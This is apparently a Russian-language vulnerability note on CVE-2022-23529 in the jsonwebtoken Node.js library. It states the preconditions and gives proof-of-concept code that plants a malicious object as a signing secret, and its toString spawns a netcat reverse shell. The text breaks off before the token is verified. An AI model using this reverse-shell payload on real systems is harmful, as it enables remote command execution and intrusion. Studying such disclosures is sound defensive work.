CVE-2022-23529

Библиотека JSON Web Token (JWT) версий до 3.4.6, 4.0.4 и 4.1.5 уязвима для удаленного выполнения кода (RCE).

Функции хеширования HMAC принимают на вход любую строку, что приводит к RCE.

Из-за предварительных условий эта уязвимость, скорее всего, не эксплуатируема.

Чтобы воспользоваться этой уязвимостью, атакующему необходимо выполнение одного из следующих условий:

• Сервер не хранит секретные ключи безопасно.
• Атакующий должен иметь доступ и контроль над секретными ключами.

npm install [email protected]

var jwt = require('jsonwebtoken');

create a token using the servers secret

var token = jwt.sign({"x":"y"}, 'servers_secret');

create malicious object containing a reverse shell (node.js)

var poisoned_secret_on_server = { 
    toString : ()=> {console.log('PWNED AFTER PASRSING TOKEN');
        process.on('exit', ()=> {
            require('child_process').exec('nc -e sh 127.0.0.1 9001');
        });
        process.exit(0)
    }
}